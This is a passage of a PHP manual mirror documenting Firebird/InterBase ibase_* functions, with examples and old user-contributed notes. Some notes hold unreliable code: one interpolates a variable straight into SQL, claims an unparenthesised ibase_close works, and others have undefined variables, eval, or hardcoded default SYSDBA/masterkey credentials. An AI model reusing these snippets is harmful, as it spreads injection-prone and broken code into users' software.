resource ibase_blob_open([ resource link_identifier, ] string blob_id)

If a link_identifier is not provided, then the "default" link_identifier will be used.  The default link identifier is assigned every time you call ibase_connect or ibase_pconnect, so if you have multiple connections it will be  whichever was connected LAST.


Close a connection to an InterBase database

  • ? ibase_blob_open
  • ibase_commit_ret ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Close a connection to an InterBase database

ibase_close

(PHP 5, PHP 7 < 7.4.0)

ibase_close — Close a connection to an InterBase database

说明

ibase_close(resource $connection_id = null): bool

Closes the link to an InterBase database that's associated with a connection id returned from ibase_connect(). Default transaction on link is committed, other transactions are rolled back.

参数

connection_id

An InterBase link identifier returned from ibase_connect(). If omitted, the last opened link is assumed.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ibase_connect() - Open a connection to a database
  • ibase_pconnect() - Open a persistent connection to an InterBase database

User Contributed Notes

02-Apr-2002 03:18
Before close the connection remember to free your query results too...

$dbh = ibase_connect($host, $username, $password);
$stmt = 'SELECT * FROM tblname';
$sth = ibase_query($dbh, $stmt);
while ($row = ibase_fetch_object($sth)) {
    .............
}
ibase_free_result($sth);  //  <-------
ibase_close($dbh);


Commit a transaction without closing it

  • ? ibase_close
  • ibase_commit ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Commit a transaction without closing it

ibase_commit_ret

(PHP 5, PHP 7 < 7.4.0)

ibase_commit_ret — Commit a transaction without closing it

说明

ibase_commit_ret(resource $link_or_trans_identifier = null): bool

Commits a transaction without closing it.

参数

link_or_trans_identifier

If called without an argument, this function commits the default transaction of the default link. If the argument is a connection identifier, the default transaction of the corresponding connection will be committed. If the argument is a transaction identifier, the corresponding transaction will be committed. The transaction context will be retained, so statements executed from within this transaction will not be invalidated.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Commit a transaction

  • ? ibase_commit_ret
  • ibase_connect ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Commit a transaction

ibase_commit

(PHP 5, PHP 7 < 7.4.0)

ibase_commit — Commit a transaction

说明

ibase_commit(resource $link_or_trans_identifier = null): bool

Commits a transaction.

参数

link_or_trans_identifier

If called without an argument, this function commits the default transaction of the default link. If the argument is a connection identifier, the default transaction of the corresponding connection will be committed. If the argument is a transaction identifier, the corresponding transaction will be committed.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Open a connection to a database

  • ? ibase_commit
  • ibase_db_info ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Open a connection to a database

ibase_connect

(PHP 5, PHP 7 < 7.4.0)

ibase_connect — Open a connection to a database

说明

ibase_connect(
string $database = ?,
string $username = ?,
string $password = ?,
string $charset = ?,
int $buffers = ?,
int $dialect = ?,
string $role = ?,
int $sync = ?
): resource

Establishes a connection to an Firebird/InterBase server.

In case a second call is made to ibase_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned. The link to the server will be closed as soon as the execution of the script ends, unless it's closed earlier by explicitly calling ibase_close().

参数

database

The database argument has to be a valid path to database file on the server it resides on. If the server is not local, it must be prefixed with either 'hostname:' (TCP/IP), 'hostname/port:' (TCP/IP with interbase server on custom TCP port), '//hostname/' (NetBEUI), depending on the connection protocol used.

username

The user name. Can be set with the ibase.default_user php.ini directive.

password

The password for username. Can be set with the ibase.default_password php.ini directive.

charset

charset is the default character set for a database.

buffers

buffers is the number of database buffers to allocate for the server-side cache. If 0 or omitted, server chooses its own default.

dialect

dialect selects the default SQL dialect for any statement executed within a connection, and it defaults to the highest one supported by client libraries.

role

Functional only with InterBase 5 and up.

sync

返回值

Returns an Firebird/InterBase link identifier on success, or false on error.

错误／异常

If you get some error like "arithmetic exception, numeric overflow, or string truncation. Cannot transliterate character between character sets" (this occurs when you try use some character with accents) when using this and after ibase_query() you must set the character set (i.e. ISO8859_1 or your current character set).

示例

Example #1 ibase_connect() example

<?php
$host = 'localhost:/path/to/your.gdb';

$dbh = ibase_connect($host, $username, $password);
$stmt = 'SELECT * FROM tblname';
$sth = ibase_query($dbh, $stmt);
while ($row = ibase_fetch_object($sth)) {
echo $row->email, "\n";
}
ibase_free_result($sth);
ibase_close($dbh);
?>

参见

  • ibase_pconnect() - Open a persistent connection to an InterBase database
  • ibase_close() - Close a connection to an InterBase database

User Contributed Notes

fwrk at bk dot ru 19-Oct-2014 04:36
If you want to connect to interbase server runned on custom port (not default port 3050), you can specify it in "database" parameter in this way: 'hostname/port:' (TCP/IP with custom port).
Examples:
$dbh = ibase_connect('example.com/11099:dbalias', $username, $password);
$dbh = ibase_connect('example.com/11099:var/data/myibase.fdb', $username, $password);
$dbh = ibase_connect('example.com/11099:C:\\data\\mywinibase.fdb', $username, $password);
fb dot bird at gmail dot com 10-Aug-2007 02:32
Remember for different locations
of php.ini file:

..\xampp\php\php.ini
..\xampp\apache\bin\php.ini
..\xampp\php\php4\php.ini

Please do not confuse this
and know location _loaded_ *.ini-file!
ag at dividi dot de 20-Sep-2005 05:07
With php5 on Windows i couldnt connect to a firebird database with following error :

Warning: ibase_connect(): Unable to complete network request to host "localhost"
. Failed to locate host machine. Undefined service gds_db/tcp.  in C:\\wamp\\php\\ibase.php on line 5

the connect command was "$dbh = ibase_connect ("localhost:path_to_file.fdb", $username, $password);"

The solution is to insert the line
gds_db    3050/tcp    #firebird Database
into the windows services file %WINDIR%\\system32\\drivers\\etc\\services
Robert Silvia 04-Dec-2004 05:02
Just to update Simon's note...

Things must have been fixed since Simon wrote that note.
With PHP5 the following example works flawlessly:

$strconnect = 'localhost:/opt/firebird/examples/employee.fdb';

if (!($db=ibase_connect($strconnect, 'sysdba', 'yourpass', 'ISO8859_1', 0, 1)))
    die('Could not connect: ' .  ibase_errmsg());

  $sql  = "SELECT PO_NUMBER, ORDER_STATUS, ITEM_TYPE FROM SALES";
  $cursor = ibase_query($sql);
  $row_array = ibase_fetch_row($cursor);

  print_r($row_array);

  ibase_free_result($cursor);
  ibase_close($db);

Also you CAN get away with the following connection string:
ibase_connect('/opt/firebird/examples/employee.fdb', 'sysdba', 'yourpass')
sam at intranex.ru 05-Aug-2004 04:08
If you get a sloooow work of ibase_connect on Win2003, try to update your FireBird to version 1.5 or above, and your InterBase to version 7.1. Or move back to Win2000 :)
simon at thorndancer dot com 14-Jun-2003 11:22
I found it difficult to get anything working using the current documentation.
While logic would suggest that the format in the docs should work (being based on all the
syntax of other standard database access functions) I had problem after problem. Finally I
found some comments on a newgroup that helped, and this is the result.

This is actual production code (not a mere example). It works.
Don't ask me why it is so different from the official docs.

if ( ibase_connect( $db_filespec,$db_user,$db_pass_word) )
{
    $query  = "SELECT c.id, c.title, c.description ";
    $query .= "FROM collections c ";
    $query .= "WHERE (c.id = $page_id) ";

    $result = ibase_query( $query );

    $row_array = ibase_fetch_row($result);

    $row_fetched = !empty($row_array);

    if ($row_fetched)
    {
       // Extract the row into variables

        $collection_id   = $row_array[0];
       $edit_title      = $row_array[1];
       $edit_desc       = $row_array[2];

       // Standardise the record contents

        $collection_id   = $collection_id + 0;      // force type to numeric
     }

    // Wrap up the database side of things

     ibase_commit();     // note parenthesis but no parameters.

     ibase_close;        // note total lack of parenthesis and parameters !
}

You'll notice that there is no reference to a database handle in this code.
It seems to be implicit when dealing with interbase functions. Certainly, I couldn't
get the code to work when using it explicitly. This makes the documentation
very hard to work with, and any reference to a handle needs to be ignored.

Important: ibase_close doesn't work for me if I put parenthesis after it.
eg:
        ibase_close;        // works
        ibase_close();      // fails
        ibase_close($db);   // fails

Note: the line "if ($row_fetched)" could be replaced with "while ($row_fetched)"
if you need to process more than one record.

All that said, Interbase is a fantastic database to work with and IMHO a much
better choice than something like PostgreSQL if you need to move up from MySQL
to something more industrial strength. Just be sure to RTFM.
anthony at trams dot com 20-Nov-2000 07:44
If you get a message like: 'Dynamic SQL Error SQL error code = -901 feature is not supported', this may be caused by InterBASE client 6.01 accessing a server running 5.x.

Make sure the dialect value is set to '1', like the following:

ibase_connect ('localhost:/usr/db/db.gdb', 'SYSDBA', 'masterkey', 'ISO8859_1', '100', '1' ) ;

That last value is the dialect, but you need the two preceding also, do avoid errors.

Anthony


Request statistics about a database

  • ? ibase_connect
  • ibase_delete_user ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Request statistics about a database

ibase_db_info

(PHP 5, PHP 7 < 7.4.0)

ibase_db_info — Request statistics about a database

说明

ibase_db_info(
resource $service_handle,
string $db,
int $action,
int $argument = 0
): string
Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

There are no user contributed notes for this page.


Delete a user from a security database

  • ? ibase_db_info
  • ibase_drop_db ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Delete a user from a security database

ibase_delete_user

(PHP 5, PHP 7 < 7.4.0)

ibase_delete_user — Delete a user from a security database

说明

ibase_delete_user(resource $service_handle, string $user_name): bool

参数

service_handle

The handle on the database server service.

user_name

The login name of the user you want to delete from the database.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ibase_add_user() - Add a user to a security database
  • ibase_modify_user() - Modify a user to a security database

User Contributed Notes

There are no user contributed notes for this page.


Drops a database

  • ? ibase_delete_user
  • ibase_errcode ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Drops a database

ibase_drop_db

(PHP 5, PHP 7 < 7.4.0)

ibase_drop_db — Drops a database

说明

ibase_drop_db(resource $connection = null): bool

This functions drops a database that was opened by either ibase_connect() or ibase_pconnect(). The database is closed and deleted from the server.

参数

connection

An InterBase link identifier. If omitted, the last opened link is assumed.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ibase_connect() - Open a connection to a database
  • ibase_pconnect() - Open a persistent connection to an InterBase database

User Contributed Notes

There are no user contributed notes for this page.


Return an error code

  • ? ibase_drop_db
  • ibase_errmsg ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Return an error code

ibase_errcode

(PHP 5, PHP 7 < 7.4.0)

ibase_errcode — Return an error code

说明

ibase_errcode(): int

Returns the error code that resulted from the most recent InterBase function call.

参数

此函数没有参数。

返回值

Returns the error code as an integer, or false if no error occurred.

参见

  • ibase_errmsg() - Return error messages

User Contributed Notes

There are no user contributed notes for this page.


Return error messages

  • ? ibase_errcode
  • ibase_execute ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Return error messages

ibase_errmsg

(PHP 5, PHP 7 < 7.4.0)

ibase_errmsg — Return error messages

说明

ibase_errmsg(): string

Returns the error message that resulted from the most recent InterBase function call.

参数

此函数没有参数。

返回值

Returns the error message as a string, or false if no error occurred.

参见

  • ibase_errcode() - Return an error code

User Contributed Notes

There are no user contributed notes for this page.


Execute a previously prepared query

  • ? ibase_errmsg
  • ibase_fetch_assoc ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Execute a previously prepared query

ibase_execute

(PHP 5, PHP 7 < 7.4.0)

ibase_execute — Execute a previously prepared query

说明

ibase_execute(resource $query, mixed ...$values): resource

Execute a query prepared by ibase_prepare().

This is a lot more effective than using ibase_query() if you are repeating a same kind of query several times with only some parameters changing.

参数

query

An InterBase query prepared by ibase_prepare().

values

返回值

If the query raises an error, returns false. If it is successful and there is a (possibly empty) result set (such as with a SELECT query), returns a result identifier. If the query was successful and there were no results, returns true.

Note:

This function returns the number of rows affected by the query (if > 0 and applicable to the statement type). A query that succeeded, but did not affect any rows (e.g. an UPDATE of a non-existent record) will return true.

示例

Example #1 ibase_execute() example

<?php

$dbh = ibase_connect($host, $username, $password);

$updates = array(
1 => 'Eric',
5 => 'Filip',
7 => 'Larry'
);

$query = ibase_prepare($dbh, "UPDATE FOO SET BAR = ? WHERE BAZ = ?");

foreach ($updates as $baz => $bar) {
ibase_execute($query, $bar, $baz);
}

?>

参见

  • ibase_query() - Execute a query on an InterBase database

User Contributed Notes

caveman 24-Jan-2003 10:18
ibase_execute only return resource id not the actual result, you need to use ibase_fetch_row or ibase_fetch_object to retrieve actual result.

On the example above given by anthony
it should be like these

 $dbh = ibase_connect ( $host, $username, $password ) ;
 $stmt = 'SELECT * FROM "EMPLOYEE" WHERE "SALARY" = ? AND "DEPT_CD" = ? ;' ;
 $prep = ibase_prepare ( $dbh, $stmt ) ;

 $salary = Array ( "10000", "25000", "33000", "48000" ) ;
 $dept_cd = 'SALES' ;

 foreach ( $salary as $val ) {
   $res = ibase_execute ($prep, $val, $dept_cd);
   $taxForm[$val] = ibase_fetch_row ($res);
}
mclap at ulstu dot ru 07-Sep-2002 06:54
For variable argument list in ibase_execute you can use folowing functions:

For PHP >= 4.0.4:

function db_execute($stmt,$data)
{
    if(!is_array($data))
        return ibase_execute($stmt,$data);
    array_unshift($data,$stmt);
    $rc=call_user_func_array('ibase_execute',$data);
    return $rc;
}

For any version of PHP:
function db_execute($stmt,$data)
{
    if(!is_array($data))
        return ibase_execute($stmt,$data);

    $params = array();
    while( list($k,$v) = each($data) )
        $params[$k] = '$data['.$k.']';
    eval('$rc=ibase_execute($stmt,'.join(',',$params).');');

    return $rc;
}


Fetch a result row from a query as an associative array

  • ? ibase_execute
  • ibase_fetch_object ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Fetch a result row from a query as an associative array

ibase_fetch_assoc

(PHP 5, PHP 7 < 7.4.0)

ibase_fetch_assoc — Fetch a result row from a query as an associative array

说明

ibase_fetch_assoc(resource $result, int $fetch_flag = 0): array

Fetch a result row from a query as an associative array.

ibase_fetch_assoc() fetches one row of data from the result. If two or more columns of the result have the same field names, the last column will take precedence. To access the other column(s) of the same name, you either need to access the result with numeric indices by using ibase_fetch_row() or use alias names in your query.

参数

result

The result handle.

fetch_flag

fetch_flag is a combination of the constants IBASE_TEXT and IBASE_UNIXTIME ORed together. Passing IBASE_TEXT will cause this function to return BLOB contents instead of BLOB ids. Passing IBASE_UNIXTIME will cause this function to return date/time values as Unix timestamps instead of as formatted strings.

返回值

Returns an associative array that corresponds to the fetched row. Subsequent calls will return the next row in the result set, or false if there are no more rows.

参见

  • ibase_fetch_row() - Fetch a row from an InterBase database
  • ibase_fetch_object() - Get an object from a InterBase database

User Contributed Notes

karasek ... ceskyserver - dot - cz 26-Apr-2005 12:37
Unlike mysql_fetch_assoc, all indexes of associative array are upper-case.

so, use
$row = ibase_fetch_assoc($result);

echo $row["INDEX"];
not
echo $row["index"];
sir_fred@ 13-Dec-2003 06:34
If your php is older than version 4.3.0, you can use the following:

$arr_record = get_object_vars(ibase_fetch_object($sql_result));

which is the same as: $arr_record = ibase_fetch_assoc($sql_result);


Get an object from a InterBase database

  • ? ibase_fetch_assoc
  • ibase_fetch_row ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Get an object from a InterBase database

ibase_fetch_object

(PHP 5, PHP 7 < 7.4.0)

ibase_fetch_object — Get an object from a InterBase database

说明

ibase_fetch_object(resource $result_id, int $fetch_flag = 0): object

Fetches a row as a pseudo-object from a given result identifier.

Subsequent calls to ibase_fetch_object() return the next row in the result set.

参数

result_id

An InterBase result identifier obtained either by ibase_query() or ibase_execute().

fetch_flag

fetch_flag is a combination of the constants IBASE_TEXT and IBASE_UNIXTIME ORed together. Passing IBASE_TEXT will cause this function to return BLOB contents instead of BLOB ids. Passing IBASE_UNIXTIME will cause this function to return date/time values as Unix timestamps instead of as formatted strings.

返回值

Returns an object with the next row information, or false if there are no more rows.

示例

Example #1 ibase_fetch_object() example

<?php
$dbh = ibase_connect($host, $username, $password);
$stmt = 'SELECT * FROM tblname';
$sth = ibase_query($dbh, $stmt);
while ($row = ibase_fetch_object($sth)) {
echo $row->email . "\n";
}
ibase_close($dbh);
?>

参见

  • ibase_fetch_row() - Fetch a row from an InterBase database
  • ibase_fetch_assoc() - Fetch a result row from a query as an associative array

User Contributed Notes

r dot metzger at spectraweb dot ch 27-Nov-2000 02:55
Interbase not always stores in uppercase. It depends how you created the table. If you use CREATE TABLE xyz("email" varchar(90)) you can get informations with $row->email.

If you use CREATE TABLE xyz(email varchar(90)) you have to use $row->EMAIL.


Fetch a row from an InterBase database

  • ? ibase_fetch_object
  • ibase_field_info ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Fetch a row from an InterBase database

ibase_fetch_row

(PHP 5, PHP 7 < 7.4.0)

ibase_fetch_row — Fetch a row from an InterBase database

说明

ibase_fetch_row(resource $result_identifier, int $fetch_flag = 0): array

ibase_fetch_row() fetches one row of data from the given result set.

Subsequent calls to ibase_fetch_row() return the next row in the result set, or false if there are no more rows.

参数

result_identifier

An InterBase result identifier.

fetch_flag

fetch_flag is a combination of the constants IBASE_TEXT and IBASE_UNIXTIME ORed together. Passing IBASE_TEXT will cause this function to return BLOB contents instead of BLOB ids. Passing IBASE_UNIXTIME will cause this function to return date/time values as Unix timestamps instead of as formatted strings.

返回值

Returns an array that corresponds to the fetched row, or false if there are no more rows. Each result column is stored in an array offset, starting at offset 0.

参见

  • ibase_fetch_assoc() - Fetch a result row from a query as an associative array
  • ibase_fetch_object() - Get an object from a InterBase database

User Contributed Notes

richard at wojthegame dot com 16-Mar-2006 06:06
If you have a query

"select ... from table1 where ..."

and would like to know the cardinality of the result set by issuing a separate query

"select count(*) from table1 where ..."

then you might end up with an incorrect value since an insert or delete can occur between the running of these queries (unlikely, but possible).
The only way i can think of getting the correct value would be something along the lines of

<?php

$qry = "select ... from table1 where ...";
$result = ibase_query($tr, $qry) // assume $tr is a transaction

$count = 0;
while ($row[$count] = ibase_fetch_assoc($result))
    $count++;

?>

then $count is the cardinality, and $row the result set.
Then you can work with the result set:

<?php

for ($i = 0; $i < $count; $i++)
{
  // do something with $row[$i]
}

?>
gurroa at gurroa dot cz 08-Jul-2003 12:41
I had some troubles with moving php application from one dbase to another. From SyBase to Interbase.
Especially with missing function "ibase_num_rows($result)".

These are functions that helped me.
<?php
...
$dbh = ibase_connect ($host, $username, $password);
...
$ar_count_queries = array();

function ibasequery($query) {
  $cquery = preg_replace("/SELECT(.*?)FROM(.*?)/","SELECT COUNT(*) FROM \\2",$query);
  if ($cquery != $query) {
   $crow=get_object_vars( ibase_fetch_object( ibase_query( $GLOBALS["dbh"], $cquery ) ) );
   }
  @$res = ibase_query($GLOBALS["dbh"],$query);
  if (isset($res)) {
    if (isset($crow)) {
     $GLOBALS["ar_count_queries"][$res] = $radcountselect["COUNT"];
    }
    return $res;
  }
   return false;
}

function ibasenumrows($result) {
  return $GLOBALS["ar_count_queries"][$res];
}

function ibasefetchrow($result) {
  return get_object_vars(ibase_fetch_object($result));
}

// example
$result = ibasequery("SELECT * FROM TABLE");
$numrows = ibasenumrows($result);
echo "Number of rows: $numrows.\nContent: \n";
while ($onerow = ibasefetchrow($res)) {
  foreach($onerow as $key => $value) {
    echo $key.": ".$value.", ";
  }
  echo "\n";
}
?>
Gurroa


Get information about a field

  • ? ibase_fetch_row
  • ibase_free_event_handler ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Get information about a field

ibase_field_info

(PHP 5, PHP 7 < 7.4.0)

ibase_field_info — Get information about a field

说明

ibase_field_info(resource $result, int $field_number): array

Returns an array with information about a field after a select query has been run.

参数

result

An InterBase result identifier.

field_number

Field offset.

返回值

Returns an array with the following keys: name, alias, relation, length and type.

示例

Example #1 ibase_field_info() example

<?php
$rs = ibase_query("SELECT * FROM tablename");
$coln = ibase_num_fields($rs);
for ($i = 0; $i < $coln; $i++) {
$col_info = ibase_field_info($rs, $i);
echo "name: ". $col_info['name']. "\n";
echo "alias: ". $col_info['alias']. "\n";
echo "relation: ". $col_info['relation']. "\n";
echo "length: ". $col_info['length']. "\n";
echo "type: ". $col_info['type']. "\n";
}
?>

参见

  • ibase_num_fields() - Get the number of fields in a result set

User Contributed Notes

tiago at econtabil dot com 13-Oct-2009 07:55
In Firebird 1.5 this function INT64 returned to the fields created as floating point numbers. In Firebird 2.x this function returns as NUMERIC (SIZE, PRECISION). Example: NUMERIC (18,2)

In Brazilian Portuguese:
No Firebird 1.5 esta fun??o retornava INT64 para os campos criados como numéricos com ponto flutuante. No Firebird 2.x esta fun??o retorna como NUMERIC(TAMANHO, PRECISAO). Exemplo: NUMERIC(18,2)
tiago at econtabil dot com 07-Apr-2006 04:40
Example:
$db = ibase_connect($host,$username,$password, "None", 0, 3 ) or die ('Error trying connect to Database!');

$select = "SELECT * from TABLE";
$sql = ibase_query($db,$select) or die($select);

$total_fields= ibase_num_fields($sql);

for ($j = 1; $j <= $total_fields; $j++)
  {
    $info_field = ibase_field_info($sql, $j-1 );
    print("Name: " . $info_campo[1]); // print the field name
    print("Type:". $info_campo[4]); //print the field type
    print("Size: " . $info_campo[3]); // print the field size
  }
This function does not return the type from the fields as we are accustomed in interbase.
Example: Fields VARCHAR are returns as VARYING. Fields of the type CHAR return TEXT.

Tested in Firebird 1.5 Super Server.


Cancels a registered event handler

  • ? ibase_field_info
  • ibase_free_query ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Cancels a registered event handler

ibase_free_event_handler

(PHP 5, PHP 7 < 7.4.0)

ibase_free_event_handler — Cancels a registered event handler

说明

ibase_free_event_handler(resource $event): bool

This function causes the registered event handler specified by event to be cancelled. The callback function will no longer be called for the events it was registered to handle.

参数

event

An event resource, created by ibase_set_event_handler().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ibase_set_event_handler() - Register a callback function to be called when events are posted

User Contributed Notes

There are no user contributed notes for this page.


Free memory allocated by a prepared query

  • ? ibase_free_event_handler
  • ibase_free_result ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Free memory allocated by a prepared query

ibase_free_query

(PHP 5, PHP 7 < 7.4.0)

ibase_free_query — Free memory allocated by a prepared query

说明

ibase_free_query(resource $query): bool

Frees a prepared query.

参数

query

A query prepared with ibase_prepare().

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Free a result set

  • ? ibase_free_query
  • ibase_gen_id ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Free a result set

ibase_free_result

(PHP 5, PHP 7 < 7.4.0)

ibase_free_result — Free a result set

说明

ibase_free_result(resource $result_identifier): bool

Frees a result set.

参数

result_identifier

A result set created by ibase_query() or ibase_execute().

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Increments the named generator and returns its new value

  • ? ibase_free_result
  • ibase_maintain_db ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Increments the named generator and returns its new value

ibase_gen_id

(PHP 5, PHP 7 < 7.4.0)

ibase_gen_id — Increments the named generator and returns its new value

说明

ibase_gen_id(string $generator, int $increment = 1, resource $link_identifier = null): mixed
Warning

本函数还未编写文档，仅有参数列表。

返回值

Returns new generator value as integer, or as string if the value is too big.

User Contributed Notes

robert 11-Dec-2006 11:24
EXAMPLE:
You need to know the generator′s value after INSERT:

Before INSERT-Statement run

$nextnumber=ibase_gen_id ("GEN_NAME",1);

GEN_NAME: is the generator′s name

1: means add 1 to actual value of generator

$nextnumber: is variable to store generators value after incrementing

In the INSERT-Statement you can use $nextnumber instead of using generator directly like in:
INSERT INTO test (field1, field2) VALUES gen_id(gen_test_id, 1), 'testme');
escoric at latinmail dot com 17-Aug-2004 10:00
$sql="INSERT INTO mitabla(campo1,campo2,..campo n) VALUES(GEN_ID(mitabla1_codigo_gen,1),'contenido 1', 'contenido 2', 'contenido n' )";
mfischer at php dot net 28-Apr-2004 04:54
Question arose on php-dev:

How does ibase_gen_id() handle 64bit values?

Interbase 6/Firebird generators are always 64-bit signed integers
(Firebird's BIGINT type), regardless of the platform the client is
running.
On 64-bit platforms, this will never require conversion as PHP's int
type is 64 bits wide on those platforms. On 32-bit platforms, the
generated value is converted to a string if it exceeds the limits of a
32-bit signed integer.
(This behaviour is consistent with the ibase_fetch_*() functions, that
will use strings to represent numerical values that cannot be represented
accurately using native PHP numerical types.)

[Edited by PHP/Interbase maintainer.]


Execute a maintenance command on the database server

  • ? ibase_gen_id
  • ibase_modify_user ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Execute a maintenance command on the database server

ibase_maintain_db

(PHP 5, PHP 7 < 7.4.0)

ibase_maintain_db — Execute a maintenance command on the database server

说明

ibase_maintain_db(
resource $service_handle,
string $db,
int $action,
int $argument = 0
): bool
Warning

本函数还未编写文档，仅有参数列表。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Modify a user to a security database

  • ? ibase_maintain_db
  • ibase_name_result ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Modify a user to a security database

ibase_modify_user

(PHP 5, PHP 7 < 7.4.0)

ibase_modify_user — Modify a user to a security database

说明

ibase_modify_user(
resource $service_handle,
string $user_name,
string $password,
string $first_name = ?,
string $middle_name = ?,
string $last_name = ?
): bool

参数

service_handle

The handle on the database server service.

user_name

The login name of the database user to modify.

password

The user's new password.

first_name

The user's new first name.

middle_name

The user's new middle name.

last_name

The user's new last name.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ibase_add_user() - Add a user to a security database
  • ibase_delete_user() - Delete a user from a security database

User Contributed Notes

admin at systecdurango dot com 09-Aug-2011 08:16
ibase microsip firebird

<?php
$user_name="ABC";
$password="123";

 $ibserv = ibase_service_attach("localhost","SYSDBA","masterkey");
ibase_modify_user($ibserv, $user_name, $password);
ibase_service_detach($ibserv);
?>

 this change te password por user ABC to 123

SYSDBA USER AND PASSWORD IS NEED TO THIS LINE

<?php $ibserv = ibase_service_attach("localhost","SYSDBA","masterkey"); ?>
_ex at navigators dot lv 24-Jan-2005 01:11
function changed in php 5! in earlier versions the syntax was:
bool ibase_modify_user ( string server, string dba_user_name, string dba_user_password, string user_name, string password [, string first_name [, string middle_name [, string last_name]]])

now it's necessary to connect to service manager, then call ibase_modify_user() and then disconnect from service manager:
    $ibserv = ibase_service_attach($host, $dba_username, $dba_password);
    ibase_modify_user($ibserv, $user_name, $password);
    ibase_service_dettach($ibserv);


Assigns a name to a result set

  • ? ibase_modify_user
  • ibase_num_fields ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Assigns a name to a result set

ibase_name_result

(PHP 5, PHP 7 < 7.4.0)

ibase_name_result — Assigns a name to a result set

说明

ibase_name_result(resource $result, string $name): bool

This function assigns a name to a result set. This name can be used later in UPDATE|DELETE ... WHERE CURRENT OF name statements.

参数

result

An InterBase result set.

name

The name to be assigned.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 ibase_name_result() example

<?php
$result = ibase_query("SELECT field1,field2 FROM table FOR UPDATE");
ibase_name_result($result, "my_cursor");

$updateqry = ibase_prepare("UPDATE table SET field2 = ? WHERE CURRENT OF my_cursor");

for ($i = 0; ibase_fetch_row($result); ++$i) {
ibase_execute($updateqry, $i);
}
?>

参见

  • ibase_prepare() - Prepare a query for later binding of parameter placeholders and execution
  • ibase_execute() - Execute a previously prepared query

User Contributed Notes

There are no user contributed notes for this page.


Get the number of fields in a result set

  • ? ibase_name_result
  • ibase_num_params ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Get the number of fields in a result set

ibase_num_fields

(PHP 5, PHP 7 < 7.4.0)

ibase_num_fields — Get the number of fields in a result set

说明

ibase_num_fields(resource $result_id): int

Get the number of fields in a result set.

参数

result_id

An InterBase result identifier.

返回值

Returns the number of fields as an integer.

示例

Example #1 ibase_num_fields() example

<?php
$rs = ibase_query("SELECT * FROM tablename");
$coln = ibase_num_fields($rs);
for ($i = 0; $i < $coln; $i++) {
$col_info = ibase_field_info($rs, $i);
echo "name: " . $col_info['name'] . "\n";
echo "alias: " . $col_info['alias'] . "\n";
echo "relation: " . $col_info['relation'] . "\n";
echo "length: " . $col_info['length'] . "\n";
echo "type: " . $col_info['type'] . "\n";
}
?>

参见

  • ibase_field_info() - Get information about a field

User Contributed Notes

There are no user contributed notes for this page.


Return the number of parameters in a prepared query

  • ? ibase_num_fields
  • ibase_param_info ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Return the number of parameters in a prepared query

ibase_num_params

(PHP 5, PHP 7 < 7.4.0)

ibase_num_params — Return the number of parameters in a prepared query

说明

ibase_num_params(resource $query): int

This function returns the number of parameters in the prepared query specified by query. This is the number of binding arguments that must be present when calling ibase_execute().

参数

query

The prepared query handle.

返回值

Returns the number of parameters as an integer.

参见

  • ibase_prepare() - Prepare a query for later binding of parameter placeholders and execution
  • ibase_param_info() - Return information about a parameter in a prepared query

User Contributed Notes

There are no user contributed notes for this page.


Return information about a parameter in a prepared query

  • ? ibase_num_params
  • ibase_pconnect ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Return information about a parameter in a prepared query

ibase_param_info

(PHP 5, PHP 7 < 7.4.0)

ibase_param_info — Return information about a parameter in a prepared query

说明

ibase_param_info(resource $query, int $param_number): array

Returns an array with information about a parameter after a query has been prepared.

参数

query

An InterBase prepared query handle.

param_number

Parameter offset.

返回值

Returns an array with the following keys: name, alias, relation, length and type.

参见

  • ibase_field_info() - Get information about a field
  • ibase_num_params() - Return the number of parameters in a prepared query

User Contributed Notes

There are no user contributed notes for this page.


Open a persistent connection to an InterBase database

  • ? ibase_param_info
  • ibase_prepare ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Open a persistent connection to an InterBase database

ibase_pconnect

(PHP 5, PHP 7 < 7.4.0)

ibase_pconnect — Open a persistent connection to an InterBase database

说明

ibase_pconnect(
string $database = ?,
string $username = ?,
string $password = ?,
string $charset = ?,
int $buffers = ?,
int $dialect = ?,
string $role = ?,
int $sync = ?
): resource

Opens a persistent connection to an InterBase database.

ibase_pconnect() acts very much like ibase_connect() with two major differences.

First, when connecting, the function will first try to find a (persistent) link that's already opened with the same parameters. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the InterBase server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (ibase_close() will not close links established by ibase_pconnect()). This type of link is therefore called 'persistent'.

参数

database

